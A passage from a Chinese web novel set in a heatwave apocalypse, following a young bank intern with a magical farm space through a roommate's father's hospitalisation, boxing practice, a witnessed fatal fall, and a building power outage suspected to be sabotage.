方庆：“ICU的床位？学妹，现在ICU的床位很难弄的，我最多能帮你在我们科室加个临时床位输液……已经在第二医院的急诊了？那就不用来我们科室了……急诊的大夫比我们有经验，肯定比我们科室处理得好……学妹，我帮你问问，不过你别抱太大的希望，现在ICU的床位是真的难弄，没点关系住不进去……” “对了，第二医院有国际医疗部，国际部的费用比普通科室高几倍甚至十几倍，但是服务好，用的药也更好一点，你室友家要是舍得花钱，可以转去国际部试试……” 肖琳琳和段霞也没有闲着，也在打电话、发朋友圈，寻找自己能用得上的人脉，她们甚至辗转联系上了Q大医学院的老师…… 但忙活了一圈，她们四个加上范槿那边的亲戚，都没找到门路把人转去ICU。 得知转去国际医疗部能接受更好的医疗服务后，范妈妈没有犹豫，立刻去找了医生。 国际部高昂的医疗费把不少普通人都拦在了外面，范妈妈找了医生后，很顺利地转了进去。 但这并不是结束，因为热衰竭很容易发展为热射病，范爸爸还没脱离危险，范槿和范妈妈的心依旧是提着的。 【秦小薇：饭饭，有什么需要我们帮忙的就直说，和我们不用客气。】 【秦小薇：你爸爸要是缺太多医疗费，可以试着去银行贷款，我可以帮你走流程。】 秦小薇不知道热衰竭在国际医疗部住一次院要多少钱，但方庆说那里要比普通住院多几倍甚至十几倍的医疗费，医院本身就是个吞金兽，以前热衰竭还要进抢救室抢救，想来这不会是个小数字。 有时候，钱可以解决很多问题，但对某些普通人来说，他们遇到的最大问题就是没有钱…… 她想了想，又在群里发了一句。 【秦小薇：饭饭，你别误会，让你贷款不是为了业绩，我是真的想帮你。】 【范槿：我知道，薇薇你根本就不在乎银行的业绩！你之前为了不给同学发广告，还特地开了个小号……】 【范槿：上次我阻止了我爸买车，加上家里的积蓄，我妈说医疗费暂时不是问题，我和我妈现在就只担心他病情会加重……】 看到范槿的回复，秦小薇很高兴范槿能懂她，同时又觉得有些无力。 朋友需要帮助的时候，她竟然就只能帮她办贷款申请……这还是因为，她有一份不 太喜欢的银行工作。 【秦小薇：饭饭，你记得在网上多收一点特效避暑药。我之前看到有医生说，这药没中暑的时候也可以吃，可以预防中暑。现在你们家就靠你和阿姨撑着了，你们还得进出医院照顾叔叔，可不能倒下，别省这点药钱。】 【范槿：好，我去看看！】 过了一会，秦小薇看到了范槿的消息。 【范槿：好贵啊！药已经涨到1500一盒了！】 【段霞：饭饭，贵也得买，这个时候千万别犯糊涂！】 【肖琳琳：薇薇说得没错，这个时候不能省药钱！】 【范槿：嗯，我知道了。】 段霞和肖琳琳在寝室也没什么事，三人商量了一下，决定等凌晨外面的温度最“低”的时候，去医院看看范槿和范爸爸。 出发之前，秦小薇特地收拾了一个背包，往包里装了几瓶淡盐水路上喝。 白天外面太热了，就算司机开车的时候开着空调，但被太阳一晒，车里的温度依旧能把人热晕，再加上高温状态下，车子容易出现爆胎之类的问题，因此现在白天几乎打不到出租车。 天黑之后，倒是能在平台上叫到车，不过价格是暴雨之前的十几倍，她们三个人AA，也就没省这百来块，一起打车去了第二医院。 可能是因为担心范槿的情况，上车之后，三人都有些沉默。 第二医院的国际医疗部和普通住院部是完全分开的，有一栋专门的大楼，秦小薇一踏进楼里，就察觉到了这里和普通门诊的不同。 这里几乎没人排队，几乎每个病人都有护士一对一全程陪同，等候区的座椅是皮质的沙发椅，现在已经停水了，但大型电动洗地机依旧把地上的瓷砖打扫得光可鉴人。 秦小薇记得，她上次中暑挂号的时候，光是初诊就排了快两个小时的队……不是说医疗挤兑吗？为什么这种灾难下，还有人能享受到这么好的服务？ 她一直以为，这个世界，像奚川和陆昼这样的有钱人，只是极少数，可能连0.1%都不到……但现在，她忽然发现自己错了。 这么一个大型医院，竟然专门建了一栋楼给有钱人服务！而普通人辛辛苦苦排队几个小时后，只能得到一句“回去多休息”，医生甚至连药都不给开！ 她忽然有些迷茫…… 肖琳琳忍不住开口吐槽道：“我怎么感觉，这里和那边的门诊楼像是两个世界？” 段霞：“都是金钱换来的。” 看到三人后，立刻有护士过来询问三人需要什么帮助，知道她们是来探望病人的，护士还把她们引去了电梯口，服务可以说是非常周到了。 范爸爸住的是单人病房，他已经醒了，但依旧一副奄奄一息的模样，连话都说不出来。 范爸爸身上插了好几根管子，床旁还放了好几台秦小薇叫不出名字的仪器，正在监测他的身体情况。 见三人来了，范妈妈还主动给她们倒水喝：“老范病得太急了，我和阿槿接到电话的时候都慌了神，什么都没带过来……病房里也没什么东西招待你们！” 秦小薇：“没事，阿姨，我们也不是来吃东西的，您坐着吧！叔叔情况怎么样了？” 范妈妈：“医生说还得输液，观察老范会不会有别的症状，如果之后症状减轻了，那大概率就是脱离危险了……” 段霞：“叔叔吉人自有天相，肯定会没事的！” 三人在病房坐了一会，病房需要保持安静，她们也没有聊太久。 之后，她们把范槿拉出病房，安慰了她一会，才离开医院。 和来的时候一样，她们是打车回去的，看到范槿的状态比预想的好，回去的路上，三人都有心情聊天了。 秦小薇：“你们这两天在寝室过得怎么样？裴欣没欺负你们吧？” 肖琳琳握拳做了个秀肱二头肌的姿势：“就我们这身力气，能被欺负？” 秦小薇：“我说的不是这种欺负……是类似于让你们帮她打扫狗屎的这种欺负。” 肖琳琳伸手勾住她的脖子：“怎么？她要是‘欺负’我们了，你还能帮我们欺负回去？” 秦小薇推开她：“好热！你离我远一点……事情总有解决的办法嘛！找辅导员或者让她买狗笼子把狗关起来……再不行，让她搬去楼上的寝室住，反正宿舍楼现在空寝室多！我和你们说，有些人觉得你好欺负，就会不把你当回事，和这种人相处，不仅要守好自己的底线，最好是往前走几步，踩一踩对方的底线！” 听到她的话，坐在副驾驶的段霞忍不住回头看了她一眼：“薇薇，我怎么觉得你说话咬牙切齿的，最近碰到什么事了吗？” 秦小薇想到了空间里还被她拴着的陆昼，摇头：“没有，就是提醒你们一下。” 段霞：“放心吧！我们也不是软柿子，她要是真做了什么，我们不会忍着的……” 折腾了这么一路，秦小薇也饿了，到家后，她先进空间洗了个澡，才坐下吃饭。 之前没停水的时候，她每天会洗两次澡一次头，但现在停水了，为了不让其他人发现她的存水量有问题，她每天都只进空间洗澡，还不敢用肥皂和沐浴露，怕被人闻出来她洗了澡。 至于头发……停水还没几天，她暂时还能忍！ 秦小薇吃的是上次和陆昼打架之前没吃完的那份饭，她一个人吃得心不在焉，完全忽视了不远处等着她投喂的陆昼。 这家伙之前已经吃过一袋面包了，再饿一顿，也饿不死！ 感觉想继续在外面生活，还是得继续搞钱……就算真的要和谁谁合作，她也不能当个只能提供农场空间的容器！ 以前没钱虽然也不行，但因为基础生活物资的价格不贵，一个月几千块也能生活得很好，但现在是末世，某些东西的价格简直高得离谱。 比如说特效避暑药，药店正价十二一盒，网上竟然能炒到一千五！ 医院也“区别对待”，要花更多的钱才能享受很好的医疗服务。 她只是个普通人，不能保证自己不会生病，还是要多多搞钱才行！ 空间里的其他物资不能动，拿出去解释不清楚…… 只能另外想办法了，她有什么优势呢？ 力气比较大？动手能力好像也不错？空间里不少东西都是她自己组装的……游戏也玩得不错！ 要不她去当代练？既能赚钱，还能满足自己的爱好……不行，代练圈子乱得很，接一单也赚不了多少钱，还得打广告、花时间和雇主沟通……好像还不如出去找工作？ 至少Q大的学历拿出去还是很响的…… “秦小薇！”陆昼的声音打断了她的思绪，“看你吃得心不在焉的，碰到什么问题了？不如说出来让我听听，说不定我能帮你想到办法？” 秦小薇目露警惕：“你确定不是说出来让你嘲笑我？” 陆昼：“……” 他轻咳一声：“我用‘劳动’换报酬，我帮你想办法，你把我之前没吃完的饭菜还给我。” 秦小薇想了想，开口道：“你先说说，我有什么优点？” 陆昼：“……” 沉默了半晌，他不确定道：“……脸还能看？” 秦小薇：“……” 秦小薇大怒：“你还是饿着吧！” 吃完饭之后，秦小薇原本是想直接出空间的，想到陆昼这家伙在末世生活了十几年，她又留下来等香肠把狗盆里的能量饼干吃完。 香肠吃饭的时候，秦小薇还不忘“威胁”它：“香肠，能量饼干是给你一个人的狗饭，你要是分给了别的狗，就别怪我以后克扣你的伙食了！” 在远处听得一清二楚地陆昼：“……”他还不至于和自己的狗抢饭！ 离开前，秦小薇瞟到黑土地里还没收获的作物，又走过去，收了一波作物，提交了几个机场的订单。 订单完成后，她面前出现了一个放烟花的特效。 农场空间又升级了。 她看了一下，升到26级之后，系统解锁了裁缝店、衬衫和毛衣。 秦小薇还没试过用工坊生产衣服，不过她之前解锁的牧羊场和绵羊都还没买，就算买了裁缝店，也没法生产毛衣，只能用棉布生产衬衫。 她想了想，决定暂时不买新建筑，继续攒金币开仓库的格子，看外面的情况，仓库的作用似乎更大一些。 她打开商店把这次升级解锁的一块黑土地买了，又打开仓库，拿出了这次升级奖励的“装饰”。 是一个粉色的热气球，气球顶部还有一对猫耳朵，很符合农场一贯的童话风。 虽然热气球停在地面上，但它上方那个大气球是鼓起来的，热气球也没有升空。 秦小薇长这么大，还没试过亲自“驾驶”热气球，她有些好奇，便爬了进去。 底端篮子的正中央，立着一个到她腰部的控制面板，像是玩游戏一样，她可以通过控制面板上的按钮 ，控制热气球上下前后左右移动。 面板上还有地图和导航，她可以设置地址，自动前进…… 秦小薇：虽然她没有坐过热气球，但是正常的热气球应该不是这样的吧？ 她在控制面板上按了几下，头顶的几个“圆筒”开始喷射火焰，热气球迅速升空，整个农场空间，在她眼中不断缩小、缩小…… 原来她的农场俯视是这个样子！她拿出手机，对着下面的农场拍了几张照片。 她想去没开放的区域看看，但就算是在空中，未解锁的土地和已解锁的土地之间依旧有“壁”，就像是玩网游的时候，跑到了地图的边界，怎么都跑不出去，她只能在原地打转…… 嗯？陆昼是不是在下面对着她挥手？好像还在喊什么……难道是饿了？ 升空之后，秦小薇发现，远处那片未解锁的土地并不是辽阔无边际的，她的农场算是处于一座海岛之上，只是因为她现在解锁的面积还太小，才会觉得未解锁的那片森林很大。 反而是另一边的海洋，才真的是广袤无边，目之所及，全是一片蓝色。 秦小薇控制着热气球朝着远处的海洋出发，一个人坐着热气球飞行的感觉实在是太过奇妙，就连吹过的风，都是自由的味道…… 好舒服啊！不敢想象，要是在外面也这样坐着热气球看风景，会有多惬意…… 控制面板上没有任何显示能源的图标，似乎它和农场里那些神奇的车子、船一样，不需要任何能源。 玩了一会，秦小薇觉得，农场升级后奖励的这个热气球，跟个操作异常简单的直升机似的……她很喜欢这个新的“交通工具”！ 她在空中飘了快一个小时，才设定了路线，开始自动“返航”。 落地后，秦小薇发现陆昼就站在门口盯着她，脸上的表情非常不好看。 什么毛病？秦小薇没理他，直接打开控制面板，把他住的房子挪远了一些，来个眼不见为净。 陆昼：“……” 她找了个地方停热气球，又打开刚刚拍的照片，调整了一下部分建筑的布局，才离开空间。 感觉这样布置，从空中俯视会更漂亮，下次坐热气球的时候，再拍几张照片看看…… 沙发上太热了，出了空间后，秦小薇就直接坐到床上的凉席上了，继续思考之前纠结的那个问题。 她想了许久，也没什么头绪。 她上辈子是个社畜，会的也不过是些普通的工作技能，这辈子原主会的东西倒是很杂，因为继承了原主的记忆，这些技能她也继承了个七七八八，但细数下来，似乎没什么能赚大钱的…… 不过，她要是真想赚钱，现在出去当跑腿、搞安装，似乎收入也很高…… 秦小薇晃了晃脑袋，甩掉了这种可怕的想法，外面温度这么高，在高温环境中工作久了，是真的会死人的……她又没到山穷水尽的地步，没必要这么“虐待”自己！ 还是好好在家里待着吧！看看之后会不会有什么别的机会！ 第52章 第52章拉电闸（双更合一）…… 秦小薇的拳击是大学上选修课的时候学的,这门课刚好是他们学院的老师开的，他对体院的学生要求十分严格，所以秦小薇学得还可以。 但也只是学了些入门的基础,和专业的拳击手相比,还是有很大的差距的。 上次被陆昼压在地上打的经历太过“屈辱”,秦小薇决定找个教练好好补一补课。 现在这个天气，Q大的学生都在上网课,户外的课程全都停了,她也不能混去Q大蹭课，她上网搜了一下,附近的拳击馆也没开门。 最后，秦小薇在网上找了个一对一的教练，进行线上教学,她打算先买两节课看看效果。 她在屋里铺上瑜伽垫,又从空间里拿出拳击手套和拳击训练器，一切准备就绪后，她才打开手机摄像头,和教练连麦上课。 担心自己上课的时候会热得受不了，秦小薇还特地把屋里空调温度调低了一些。 课一上就是两个小时,因为隔着屏幕,教练只能教一些理论性的东西，外加帮她纠正动作，更多的还需要秦小薇自己练习、实战。 上完课之后,秦小薇又自己练了两个小时，才停下来，等她结束的时候，头发已经湿到能往下滴水了,胳膊也十分酸痛。 练拳击是一件非常消耗体力的事，为了不让自己半途而废，课程结束后，秦小薇还在拳击训练器上贴了张写了陆昼名字的A4纸，以激励自己坚持下去。 等她练完，那张A4纸已经被蹂躏得不能看了…… 秦小薇灌了一瓶常温的淡盐水，把A4纸撕下来扔进空间里，又去空间里冲了个澡。 等洗完澡，她才察觉到自己饿了，她懒得自己做饭，就打开面板，把陆昼的房子挪了过来。 她扔给陆昼一袋还没处理过的小麦：“我今天想吃包子，去做饭吧！机器在那边……” 陆昼看着那袋连壳都没脱的小麦，气笑了：“秦小薇，你怎么不让我从种小麦开始做包子？” 秦小薇一副为他着想的模样：“我倒是想，但怕你等不到收获的那天，就饿死了……” 她切了一个西瓜果盘，给香肠分了小半，用小叉子插着西瓜慢悠悠地吃着。 秦小薇：“做不做？不做的话，你今天继续饿肚子吧！” 陆昼：“……” 陆昼闭了闭眼，从牙缝里吐出一个字：“做！” 秦小薇搬着个凳子坐在他不远处，和拉布拉多一起，看着他黑着一张脸干活。 从处理刚收获的小麦开始做包子非常耗费时间，等陆昼把包子端上来的时候，秦小薇已经吃西瓜吃饱了，最后只勉强塞下了一个包子。 陆昼饿了一天，又干了好几个小时的活，倒是一口气塞了七八个拳头大的包子。 虽然今天的最后一顿吃得有些敷衍，还等了很久，但整了陆昼一顿，秦小薇还是很开心的。 她一连在家待了好几天，白天睡觉，晚上除了上网吃瓜就是在家练拳击。 范爸爸在医院住了几天后，情况逐渐好转了，医生说他已经脱离了危险，但范妈妈担心他的身体没有完全恢复，以后会留下什么后遗症，一直没给他办出院，让他继续在医院里养着。 据范槿说，国际医疗部住一天院，就算医生不开药、不打点滴，一天的住院费也接近五位数，要是用了药、上了仪器，医疗费就更贵了！ 范爸爸住院的这几天，把他之前准备买车的钱花了大半。 不过在急诊看到那些因为热射病抢救无效而死亡的尸体后，母女俩都觉得，这时候能保命就很好了，范妈妈并没有吝啬这笔钱。 知道范爸爸脱离了危险后，秦小薇三人也替范槿松了口气。 因为秦小薇原本就有基础，她在网上找的教练建议她找个人陪她一边实战一边练习，这样提升速度可能会更快一些，收到教练的建议后，秦小薇决定在寝室群发条“招募”消息。 当初选课的时候，她们四个是一起选的，所以其他三人也有些基础。 【秦小薇：招募拳击陪练，地点在我的公寓，有空调，时间是天黑之后，报酬是两顿饭和奶茶，伙食有蛋炒饭和海带汤，有没有人要报名？】 【范槿：薇薇，这么热的天，我连动都不想动，你竟然还在家里练拳击？】 【段霞：薇薇，你怎么忽然想到要练拳击？是不是碰到什么事了？】 【秦小薇：最近不太平，小偷小摸的太多了，想增强一下实力，刚好银行还没停业，我一个人在家也挺无聊的！】 【范槿：我爸爸还没出院，我应该是去不了了……】 【肖琳琳：薇薇，你家晚上热吗？】 【秦小薇：凌晨的时候，把空调调到16℃，室温差不多在28℃左右，应该还可以？】 【肖琳琳：奶茶冰的还是常温的？限量吗？】 【秦小 薇：都有！不限量！】 【肖琳琳：那我来！】 【段霞：算我一个吧！在寝室闷了这么多天没事干，我也挺无聊的！】 秦小薇在群里和她们约好了来她家的时间。 她提前挪了下客厅的东西，预留出更多的空间，还煮了饭和奶茶小料，等两个室友过来。 看到两个室友在群里说她们已经出发了，秦小薇等了五分钟，就下楼了。 附近就有个大型商场，这里地段还算繁华，公寓楼外的路灯水退之后就修好了，但这两天，不知道为什么，路灯忽然又不亮了。 外面黑黢黢的，秦小薇先去旁边的便利店，买了今日份的饮用水和能量饼干，才打着手电筒，站在公寓门口等人。 距离天黑已经好几个小时了，但马路上被晒了一天的水泥地依旧有点烫脚，站在室内和马路上，完全是两种感觉。 她擦了下额头上不断冒出的细汗，打开手机看了下群里的消息，因为手上出了很多汗，秦小薇试了好几次，指纹解锁才成功。 群里没有新消息刷出来，她又等了两三分钟，才看到远处出现两缕灯光。 看到秦小薇之后，肖琳琳和段霞快步跑了过来：“薇薇，我们快上去！热死我了！” 秦小薇还没来得及应声，就听到不远处的黑暗中传来“砰”的一声，有什么东西直接砸在水泥地上。 “有人往楼下扔垃圾吗？这也太没公德心了，砸到人了怎么——” 肖琳琳转身朝着发出声音的方向看去，她手里的充电台灯也随着她的动作照向刚刚掉下来的那坨“东西”，看清那是什么后，她的声音戛然而止。 那是一个趴伏在地上的男人。 “阿、阿阿霞，薇、薇薇，那、那好像是一个人！”肖琳琳吓得说话都不利索了。 “我看到了！”段霞的表情还算冷静，但声音里依旧带着一丝颤抖，“先打电话吧！薇薇，你打急救电话，我报警！” 秦小薇立刻掏手机：“好！” 秦小薇打电话的时候，对面的护士还一直问她，人是不是还活着，让她去确认一下，她不想去确认，含糊了几句让他们快来，报了地址就挂了电话。 打完了电话，三人朝男人的方向走了几步，就过了这么一会，他的身|下已经有血漫出来了，可能是因为从高空坠落的时候受到了冲击，他的胳膊折成了一个奇怪的形状。 “那、那个，你、你还活着吗？”肖琳琳哆哆嗦嗦地问了一句，但地上躺着的人并没有给她回应。 看到男人的胳膊，秦小薇觉得这人十有八九要凉，手都摔成这样了，脑袋估计也差不多了！ 她不敢碰他，怕晚上做噩梦，便抓住两人的胳膊晃了下：“阿霞、琳琳，我们去那边的便利店里等着吧！别在这站着了！” “行！”段霞应了一声。 便利店里只有一个年轻的售货员小哥在打游戏，可能是因为玩游戏玩得太投入了，便利店的玻璃门又关着，他并没有注意到刚刚外面有人坠楼的声音。 听秦小薇三人说外面有人坠楼了，售货员小哥竟然一个人跑出去看了，没一会，三人就隔着玻璃门看到他扶着马路旁的电线杆呕吐。 秦小薇：“……”好险，还好她们三个好奇心没那么旺盛！刚刚没去翻尸体！要不然现在吐的就是她们了！ 小哥吐了一会才回来，刚进便利店，他就开了一瓶饮用水拼命洗手。 “人死了吗？”肖琳琳好奇地问道。 小哥：“肯定死了！脸都摔成一团烂肉了，还是前天那个死得好看一点，后脑勺着地，虽然后脑勺被砸扁了，但至少脸还能看……” 秦小薇听得忍不住皱眉：“咱们这最近很多人跳楼吗？” 小哥：“外面那个算是第三个，第一个是从四楼跳下来的，没摔死，跳下来以后就后悔了，疼得哇哇叫，还是我给叫的救护车……不止咱们这，其他地方也有人跳楼，这几个月大环境不好，很多人都撑不下去了——” 秦小薇：难怪他刚刚跑得那么快，原来是已经有经验了！ 售货员小哥似乎是来了谈兴，滔滔不绝地和三人说着最近跳楼的几人：“第一个是个比我大几岁的姐姐，她爸爸在她很小的时候就死了，上周她妈妈在老家中暑热痉挛，送到医院太晚了，治了没多久就发展成热射病没了，她自己也失业了，还欠了一大笔钱，房东还一直催着她交房子。” “天气预报一刷新就是高温，网上很多人都在说现在已经是末世了，那个姐姐觉得没希望，就跳楼了，说是觉得早点死，也能少受点苦……但她跳下来之后就后悔了，还好她是从四楼跳下来的，保住了一条命。” “第二个是个老大爷，前天跳的，他老伴因为中暑热死了，儿子女儿都不管他，他觉得没意思，也跳楼了……” “你们知道城西那边的火葬场吗？那边和医院一样，现在天天24小时开工，但尸体还是烧不完，火葬场还在往外扩建……” 听着售货员小哥的话，秦小薇忍不住叹了口气，虽然现在各种意义上的大环境都很差，但她还是无法理解那些轻易放弃自己生命的人…… 她一直都觉得，只要人还活着，就会有希望。很多事情，可能当下会觉得很艰难，但过一段时间再回头看，就会觉得也不过如此。 救护车很快就到了，医生护士下车查看了一下地上的尸体，就说这不是他们的工作，让他们等警察来处理，坐上救护车就急匆匆地走了。 救护车前脚走，警察后脚就过来了，他们把尸体装进裹尸袋里，留了两个人给秦小薇他们做笔录、调查，剩下的人则带着尸体奔赴下一个案发点。 因为售货员小哥之前的反应，秦小薇担心自己看了尸体的脸会做噩梦，所以管住了自己的眼睛，一直没敢乱瞟。 做完了笔录，三人才结伴坐电梯上楼。 肖琳琳忍不住吐槽道：“半年不到，我就做了五次笔录了，平均一个月一次，对流程都熟悉了……放在以前，我真是想都不敢想！” 秦小薇叹了口气：“没办法，现在大环境比较差，这几个月死的人也多！” 到家后，三人补充了点水分，又吃了点东西休息了一会，就开始陪秦小薇练拳击，当然，是二对一，她们两个轮流给秦小薇当陪练。 几个小时后，肖琳琳累得直接瘫倒在秦小薇家的地板上：“我不行了！我要歇一会……薇薇，你今天也太猛了！” 秦小薇也很累，她点点头道：“行，那就歇一会，你们要喝点什么吗？” “想喝冰奶茶，算了，还是喝淡盐水吧！奶茶等我缓缓再喝……” 陪练完，三人又一起吃了顿饭，才赶在天亮之前回去。 不过，她们只陪练了两天就结束了自己的陪练生涯。 每次陪秦小薇练完，她们都会出一身汗，现在水资源紧缺，她们又洗不了澡，只能换衣服，非常难受！ 因为每次练拳都会出很多汗，秦小薇在开始的时候，会特意把空调温度调低一些，结束的时候，还会把温度升上去一些，再放两个室友回去，免得室内外温差太大，她们生病。 就算是这样，肖琳琳的身体还是受不了巨大的温差变化，直接感冒了。 秦小薇知道这件事后非常愧疚，生怕肖琳琳和她上次一样，拖久了身体素质下降，受不了环境的温差变化中暑，毕竟她们就算是住在寝室，也是要出门买能量饼干和饮用水的。 她从仓库里找了几盒感冒药，亲自送去了寝室。 陪练计划破产，秦小薇只能继续找教练上课，然后自己在家里练习。 上次的事过后，她已经连续一周多没给陆昼好脸色看了。 虽然这两天她为了不用自己做饭，陆昼的餐食也从一日一顿变成了一日三顿，但她每次进空间之后，都要给陆昼找点不痛快。 反正，只要看到他黑脸，她就高兴了… … 秦小薇以前也没觉得自己有什么“欺负人”的特殊爱好，但这家伙实在是太讨厌了，说的话、做的事都让她讨厌，不给他找点茬，她就心里不痛快！ 今天也是一样，她从仓库里拿出了一捆甘蔗，扔到陆昼面前，冲着陆昼开口道：“我今天想吃红糖馒头，你先用这堆甘蔗榨点汁熬点红糖！” 这样的事经历得多了，陆昼也知道，秦小薇虽然不会真的杀了他，但他要是不干活，她是真的会让他饿肚子，他难得没有回嘴，默默抱着甘蔗去另一边削皮榨汁…… 见他默不作声就抱着甘蔗去干活了，秦小薇觉得有些遗憾，他怎么不反抗了？ 他不反抗，感觉红糖馒头都没那么好吃了！ 吃了几个红糖馒头配炭烤培根，又消灭了半盘饭后水果，秦小薇才心满意足地离开了空间。 刚从空间出来，秦小薇就眉心一跳，屋里的空调怎么停了？屋里也黑漆漆的，难道停电了？ 她打开手机，看了下打卡群里的消息，就在她监督陆昼做饭的这一个多小时的时间里，公寓楼已经跳闸好几次了。 可能是晚上开空调的人太多了，线路负荷不过来，配电房的总电闸拉上去之后没过多久就跳闸，楼里不少住户受不了夜晚的高温，已经收拾东西搬去边上的商场凑合了…… 秦小薇买的这套太阳能发电板算是平价款，发电量一般，现在温度太高，白天存满了电之后，晚上也用不了几个小时，这几天待在家里，她一直是白天用太阳能发电板供电开空调，晚上切线路，交电费开空调。 之前一直没跳闸，她也就没考虑过没电的可能。 她切换了一下电路，试图用蓄电池里存的电让空调继续运行，但很遗憾，蓄电池里存的那点电天黑的时候就用完了，就算她切了线路，屋里的灯和空调也没什么反应。 秦小薇叹了口气，纠结了一番，她在去空间里待着和去外面的商场睡一觉之间选择了前者。 还有几个小时就天亮了，懒得跑了！ 临时避暑点几乎没有隐私可言，之前还有个女生上网发视频吐槽，说在地下停车场睡觉，睡醒之后，发现身上架了一个陌生男人的腿，对方还枕在她的枕头上…… 对方说他是睡相不好，睡着之后滚过来的，但评论区都说她是遇到猥琐男了。 陆昼正站在门口陪拉布拉多玩“扔飞盘”的游戏，他手上戴着手铐，手铐的另一边还连着一根长长的金属链子，可这却丝毫不影响他动作的灵敏。 看到秦小薇，他忍不住刺了她一句：“怎么？红糖馒头没吃饱？还想让我给你做白糖馒头？” 秦小薇煞有其事地点头：“熬红糖对你来说确实没什么难度，我明天吃白糖糕吧！” 陆昼：“……” 香肠叼着它的新玩具甩着尾巴跑到秦小薇面前，用脑袋拱她的腿。 秦小薇的计划里没有养狗，空间里自然也就没有狗玩具，它的新玩具是个兔子形状的棉花娃娃，是陆昼用棉布和棉花手缝的，做工很粗糙，两只兔耳朵都不对称，但陆昼每天都会用娃娃陪它玩“扔飞盘”的游戏，这算是它目前最喜欢的玩具了。 拉布拉多是水猎犬，尾巴会帮助它们在水中保持平衡，提供动力，所以香肠的尾巴抽人很疼，秦小薇不得不后退几步避开它的尾巴。 秦小薇：“去找你主人陪你玩，我没空！” 拉布拉多又用脑袋拱了拱她的手，见她真的不陪自己玩，才耷拉下尾巴去找陆昼。 陆昼拍了下它的屁股：“没良心的家伙，我对你这么好，怎么也没见你对我这么热情？” 听到他的话，秦小薇忍不住笑了起来：“狗狗是最诚实的，它不喜欢你，肯定是你有什么问题，你该好好反思一下！” 陆昼：“……” 他冲着她翻了个白眼，没有说话。 她回了自己的猎人小屋，连着刷了两部电影，才从屋里出来。 陆昼看着她皱眉：“你今天怎么在空间里待了这么久？外面出什么事了？” 秦小薇：“跳闸了，可能是今天大家用电比较厉害……” 陆昼挑眉：“你确定是跳闸了？而不是有人故意把电闸拉了？” 秦小薇想了一会，觉得正常人应该不会干这事。 公寓楼的供电房在三楼，现在爬一次楼要出很多汗，外面的人肯定不会吃饱了撑着，一趟趟爬楼拉电闸，就算真有人拉电闸，也是楼里的人干的，但他图什么啊？他自己不需要用电吗？ 现在这种温度，干这种事，几乎可以和谋杀挂钩，他不怕被发现，然后被楼里的人打死吗？这得是多大的仇怨啊！ 秦小薇：“不可能吧！群里有人去检查过了，说是跳闸了……” 陆昼冷笑：“人家说的就一定是对的吗？你自己亲自过去检查过吗？你前几天不是还说，你们公寓有人嫌弃楼层太高，搬走了吗？之前人多的时候都没跳闸，怎么人少了，反而开始跳闸了？” 第53章 第53章罗青（双更合一）…… 虽然秦小薇觉得陆昼这家伙在末世里待久了,什么事都往最坏的方向想，不过仔细想想，也不是没有他说的这种可能。 但她转念一想,就算电闸真的是人为拉下来的,对方肯定也不是针对她,毕竟她在打卡群里的存在感还挺低的，平时除了打卡,就是潜水吃瓜,除了之前涨水的时候被她打过的那个男的，她在公寓楼里基本上没得罪过什么人。 秦小薇：等晚上再看看吧！要是电闸真的是人为拉下来的,她一定要把人揪出来！ 外面已经天亮了，公寓外墙上挂着的太阳能发电板也开始工作了，秦小薇切了电路,就上床睡觉了。 她原本是计划晚上观察一下,电闸是不是人为拉下来的，但她还没睡醒，就接到了经理的电话,说是支行的线路修好了，让她傍晚准时上班。 秦小薇：“……”怎么这么快？不是说跃能最近排单特别紧,就连安装的单子,都排到半年后了吗？ 唉，起床去当维持社会运转的一颗螺丝钉吧！ 进空间后，她刚给陆昼解开手上的链子,他就主动拿起削皮刀：“甘蔗呢？拿出来吧！” 秦小薇：“不用了，今天先放过你，早上吃包子。” 陆昼似笑非笑地看了她一眼：“放过我？我看你是今天要上班，没时间折腾我吧！” 秦小薇被拆穿了也没有丝毫的不自在,她大大方方地点头道：“对啊，算你今天走运！” 吃完了包子，简单收拾了一下，她就出门了。 下楼的时候，秦小薇发现电梯似乎是故障了，怎么都刷不开，她最后只能走楼梯。 不知道是不是经理电话打得太突然，人没通知全，今天银行的职员并没有到齐。 不过现在很多行业都停摆了，再加上外面温度太高，不碰到特殊情况，普通人基本上不会来银行办业务，所以今天的客户并不多，秦小薇他们还能应付， 中途他们甚至还有时间聊天吃能量饼干。 方圆：“咱们行的线路怎么这么快就修好了？我邻居家的线路也出问题了，他报修时间比咱们行还早，到现在都没人上门……” 李姐：“听说是行长托客户帮忙，找了跃能的人才修好的。” 秦小薇：“行长也太着急了，多放几天假多好！” 李姐：“行长当然着急了，你也不看看他一个月多少工资？而且上面下了命令，高温期间银行必须正常营业，时间拖久了，他是要挨罚的……” 秦小薇想到了行长七位数的年薪，觉得要是换成了自己，她大概率也会对工作这么“负责”。 银行关门开完会之后，经理忽然把秦小薇叫到一边，暗示她好好干，以后可以留下来转正。 秦小薇：？？？ 就她这个工作态度，也能留下来转正？经理不想要业绩啦？ 难道是因为她的学历？ Q大的招牌应该没厉害到让经理忽视她那稀烂的业绩吧？ 秦小薇有些想不通，不过就算她现在对未来有些迷茫，她依旧不打算留下来。 一是通勤时间太长了，她要是留下来，必定要搬家；二是她真的很不喜欢这份工作，她一直觉得卖那些纪念币、理财产品，有骗人坑钱的嫌疑，让她从心底感到排斥……感觉真要是转正了，她每个月连基础工资都会因为业绩不达标扣光！ 而且银行的奇葩客户真的很多，还不能被投诉，应付他们太累了！ 凌晨骑车到家后，秦小薇发现楼下电梯的指示灯是亮的，但是电梯门怎么都刷不开。 坏了吗？ 坐不了电梯，秦小薇只能继续爬楼梯，等她上到九楼的时候，已经累得直喘气了，加上回来的路上流的汗，她的衣服和头发全都汗湿了。 她没急着回家，反而是敲响了对面的房门，开门的是一个穿着黑色短袖的保镖，他面无表情地看着秦小薇，语气有点冷漠：“有什么事？” 秦小薇：“呃……我找李阿姨，她在吗？” “等一下！”说完他就关上了房门，秦小薇在门外站了一分多钟，才等到李阿姨重新打开房门。 她的表情看上去有些疲惫，状态和上次见面相比明显差了很多。 李阿姨：“小秦，你找我有什么事？” 秦小薇拿出电梯卡：“李阿姨，你给我的电梯卡好像不能用了，电梯是坏了吗？李阿姨，你脸色看起来不太好，生病了吗？” 李阿姨摆了摆手：“昨天坐电梯下去拿东西的时候跳闸了，电梯突然停了，那个U什么的线烧了，备用电源没法用，我一个人在电梯里困了几个小时，差点没吓死我！” 李阿姨：“少爷找人来救我的时候重置了系统，卡要重新刷一下才能用，我也不是很懂，我让小方带你去弄……小方，你现在有空吗？” 听完李阿姨的经历，再联想到陆昼昨天那番话，秦小薇的表情顿时严肃起来。 昨天的电闸，该不会真是楼里的人故意拉的吧？ 